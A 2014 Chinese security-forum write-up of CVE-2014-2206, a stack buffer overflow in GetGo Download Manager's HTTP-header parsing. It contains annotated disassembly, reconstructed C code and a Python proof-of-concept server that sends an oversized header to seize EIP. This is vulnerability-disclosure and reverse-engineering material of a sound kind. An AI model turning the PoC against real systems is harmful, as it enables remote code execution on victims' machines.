查看: 12095|回复: 4

CVE-2014-2206:远程代码执行漏洞大剖析

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2014-3-9 11:30:54 | 显示全部楼层 |阅读模式
    前些时候我发布了一篇关于远程代码执行漏洞的安全公告,被CVSS评了10分。该漏洞影响所有版本的GetGo DownloadManager,因此如果有读者在使用这款软件话,请务必用一款更安全的软件代替,因为GetGo项目已经不再被支持了,但是其再在cnet.com网站仍然评级依然很高。
    本文简单介绍一下该bug的起因,并在打了全部补丁以及启用了DEP保护的Windows 7 64位系统上进行测试:
    当向一个网站请求下载时,下载器会读取目标页面返回的HTTP响应头的值,并将该返回值保存到一块固定大小为4097字节的临时缓存中,但该尺寸并没有被用来限制拷贝到这块缓存中的输入的大小,只是将输入内容一个字节一个字节地拷贝到临时缓存中,直到遇到“\r\n”为止。因此如果HTTP响应头的大小超过了4097字节,就会被写到这块内存的界限之外了。
    下面我们看一下这款下载器如何处理HTTP下载。
    13940057176829.jpg
    当用户像上图一样请求下载时,调试器跳转到断点0x004A4CF4处,正是包含漏洞的代码部分的入口点:
    [AppleScript] 纯文本查看 复制代码
    004A4CDE   . 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
    004A4CE1   . 51             PUSH ECX                                 ; /Arg3
    004A4CE2   . 68 01100000    PUSH 1001                                ; |Arg2 = 00001001
    004A4CE7   . 8D95 DCEFFFFF  LEA EDX,DWORD PTR SS:[EBP-1024]          ; |
    004A4CED   . 52             PUSH EDX                                 ; |Arg1
    004A4CEE   . 8B8D 9CEFFFFF  MOV ECX,DWORD PTR SS:[EBP-1064]          ; |
    004A4CF4   . E8 77EDFFFF    CALL GetGoDM.004A3A70                    ; \GetGoDM.004A3A70

    该函数包含三个参数,将其转换为相应的c语言风格的函数调用,如下所示:
    [AppleScript] 纯文本查看 复制代码
    int vuln_func(void *buffer, size_t arg2, int arg3)

    栈内包含三个参数,参数1位于缓存的0x0430C390处,参数2位于0×00001001处,参数3位于0×00000078处,如图2所示:
    13940057215444.jpg
    小提示:本示例中你可以完全忽略参数3,因为该值只是用来表示ws2_32版本的select函数从socket中读取内容时的timeout时间:
    13940057368352.jpg
    这里发生了什么?
    在vuln_func()中,第一组重要的指令集为:
    [AppleScript] 纯文本查看 复制代码
    004A3A9F  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
    004A3AA2  |. 50             PUSH EAX
    004A3AA3  |. 6A 00          PUSH 0
    004A3AA5  |. 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
    004A3AA8  |. 51             PUSH ECX
    004A3AA9  |. E8 F2650400    CALL GetGoDM.004EA0A0

    位于0x004A3AA9 的函数使用的三个参数,正是其被调用时,父函数传进来的三个函数。系统将这3个参数压入栈:
    [AppleScript] 纯文本查看 复制代码
    0430C2E4   0430C390  | arg1
    0430C2E8   00000000  | arg2
    0430C2EC   00001001  | arg3

    该函数只相当于执行了一个简单的memset函数,因此函数调用如下所示:
    [AppleScript] 纯文本查看 复制代码
    void memset(void *arg1, int arg2, size_t arg3)

    memset函数的功能很简单,用最多arg3个字节的unsigned char类型的数值(arg2)填充arg1指向的内存中,也就是说,地址0x430C390 指向的缓存空间被4097个0×00填充。
    接下来对包含漏洞的代码部分进行分析:
    13940057537989.jpg
    这里需要对漏洞的构成做一些详细解释,因此下文将程序的一个循环分成两部分进行说明:
    Part 1 在HTTP响应头中读取一个字节
    [AppleScript] 纯文本查看 复制代码
    004A3AE3  |. 8B45 10        |MOV EAX,DWORD PTR SS:[EBP+10]
    004A3AE6  |. 50             |PUSH EAX                                ; /Arg3
    004A3AE7  |. 6A 01          |PUSH 1                                  ; |Arg2 = 00000001
    004A3AE9  |. 8B4D F0        |MOV ECX,DWORD PTR SS:[EBP-10]           ; |
    004A3AEC  |. 8B55 08        |MOV EDX,DWORD PTR SS:[EBP+8]            ; |
    004A3AEF  |. 8D440A FF      |LEA EAX,DWORD PTR DS:[EDX+ECX-1]        ; |
    004A3AF3  |. 50             |PUSH EAX                                ; |Arg1
    004A3AF4  |. 8B4D D8        |MOV ECX,DWORD PTR SS:[EBP-28]           ; |
    004A3AF7  |. 83C1 0C        |ADD ECX,0C                              ; |
    004A3AFA  |. E8 81A4FFFF    |CALL GetGoDM.0049DF80                   ; \GetGoDM.0049DF80

    地址0x004A3AFA 处的函数调用需要三个参数:
    [AppleScript] 纯文本查看 复制代码
    int read_byte(void *buffer, char *arg2, int arg3)

    其中第一个参数arg1指向缓存,arg2总是0×00000001,arg3总是0×00000078。该函数从接收到的HTTP响应头中读取一个字节,如果成功,就把读取的值保存到arg1指向的缓存,并返回1。
    结尾处的CMP指令用来判断读取是否成功,如果不成功就在0x004A3B0F处跳出循环。
    [AppleScript] 纯文本查看 复制代码
    004A3AFF  |. 8945 E8        |MOV DWORD PTR SS:[EBP-18],EAX
    004A3B02  |. 837D E8 00     |CMP DWORD PTR SS:[EBP-18],0
    004A3B06  |. 75 09          |JNZ SHORT GetGoDM.004A3B11
    004A3B08  |. C745 EC 000000>|MOV DWORD PTR SS:[EBP-14],0
    004A3B0F  |. EB 49          |JMP SHORT GetGoDM.004A3B5A

    Part 2 对比接收的字符串,直到遇到“\r\n”
    [AppleScript] 纯文本查看 复制代码
    [attach]3155[/attach]
    004A3B26  |. 6A 00          |PUSH 0                              ; /Arg2 = 00000000
    004A3B28  |. 68 F8D76600    |PUSH GetGoDM.0066D7F8               ; |Arg1 = 0066D7F8 ASCII "
    "
    004A3B2D  |. 8D4D E4        |LEA ECX,DWORD PTR SS:[EBP-1C]       ; |
    004A3B30  |. E8 2B5AF6FF    |CALL GetGoDM.00409560               ; \GetGoDM.00409560

    地址0x004A3B30 处的函数调用包含两个参数——参数1包含一个以“\r\n”结尾字符串,参数2总是0×00000000。同时该函数会从栈中读取已经接收的字节,并与“\r\n”进行比较:
    [AppleScript] 纯文本查看 复制代码
    0040959E  |. 0345 0C        ADD EAX,DWORD PTR SS:[EBP+C]             ; |
    004095A1  |. 50             PUSH EAX                                 ; |Arg1
    004095A2  |. E8 79120A00    CALL GetGoDM.004AA820                    ; \GetGoDM.004AA820

    13940057637768.jpg
    因此该函数可以构造成如下形式:
    [AppleScript] 纯文本查看 复制代码
    signed int search_teminator(*buffer, "\r\n", 0)

    如果没有找到“\r\n”,则函数返回-1,并执行以下CMP指令:
    [AppleScript] 纯文本查看 复制代码
    004A3B38  |. 837D E0 FF     |CMP DWORD PTR SS:[EBP-20],-1
    004A3B3C  |. 74 11          |JE SHORT GetGoDM.004A3B4F

    即函数search_teminator()的返回值与-1比较,就是说如果JMP指令被执行了,表示以下指令也被程序执行了,包括利用JMP指令跳回到这段代码的开始部分:
    [AppleScript] 纯文本查看 复制代码
    004A3B4F  |> 8B55 F0        |MOV EDX,DWORD PTR SS:[EBP-10]
    004A3B52  |. 83C2 01        |ADD EDX,1
    004A3B55  |. 8955 F0        |MOV DWORD PTR SS:[EBP-10],EDX
    004A3B58  |.^EB 80          \JMP SHORT GetGoDM.004A3ADA

    但是如果函数search_terminator()找到“\r\n”,会返回字符串的位置,CMP指令就会返回错误,以下指令就会被执行,并跳出循环:
    [AppleScript] 纯文本查看 复制代码
    004A3B3E  |. 8B45 08        |MOV EAX,DWORD PTR SS:[EBP+8]
    004A3B41  |. 0345 E0        |ADD EAX,DWORD PTR SS:[EBP-20]
    004A3B44  |. C600 00        |MOV BYTE PTR DS:[EAX],0
    004A3B47  |. 8B4D E0        |MOV ECX,DWORD PTR SS:[EBP-20]
    004A3B4A  |. 894D EC        |MOV DWORD PTR SS:[EBP-14],ECX
    004A3B4D  |. EB 0B          |JMP SHORT GetGoDM.004A3B5A

    逆向工程
    通过以上分析,可以将包含漏洞的代码转换为类似如下的C代码片段:
    [AppleScript] 纯文本查看 复制代码
    int vuln_func(void *buffer, size_t arg2, int arg3)
    {
      int a;
      signed int b;
     
      memset(void *buffer, 0, arg2);
     
      while (1)
      {
        a = read_byte(*buffer, 1 , arg3)
        if ( !a )
        {
          goto fail;
        }
     
        b = search_terminator(*buffer, "\r\n", 0)
        if ( b != -1 )
          break;
      }
     
    fail:
      return 0;
    }

    看出其中的问题了吗?表示大小的参数(arg2)被memset函数用来准备内存空间,但while循环中会读取响应头中的所有字节,直到找到“\r\n”为止,完全忽略了arg2。那么,如果攻击者可以构造出多于4097个字节的HTTP响应头,就会导致写入的缓存超过内存的边界,也就构成了基于栈的缓冲区溢出条件,导致远程代码执行。
    构造PoC
    以下PoC代码创建了一个简单的web服务器,用来响应超出预期大小的HTTP头:
    [AppleScript] 纯文本查看 复制代码
    from socket import *
    from time import sleep
     
    host = "192.168.0.1"
    port = 80
     
    s = socket(AF_INET, SOCK_STREAM)
    s.bind((host, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port
     
    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]
     
    payload = "\xCC" * 9000
     
    buffer = "HTTP/1.1 200 "+payload+"\r\n"
     
    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending buffer: OK\n"
     
    sleep(1)
    cl.close()
    s.close()

    控制了EIP,就可以随心所欲XXOO了。是不是很爽:-)!
    13940057706408.jpg
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2018-8-22 12:07
  • 签到天数: 17 天

    [LV.4]偶尔看看III

    发表于 2014-3-9 12:29:38 | 显示全部楼层
    完全不知所云啊,不过支持了。。。
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-3-10 17:22:52 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-3-11 07:37:49 | 显示全部楼层
    没能看懂      
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-9-21 14:45
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2014-3-14 19:11:17 | 显示全部楼层
    看来有必要学学破解
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-27 20:48 , Processed in 0.029249 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部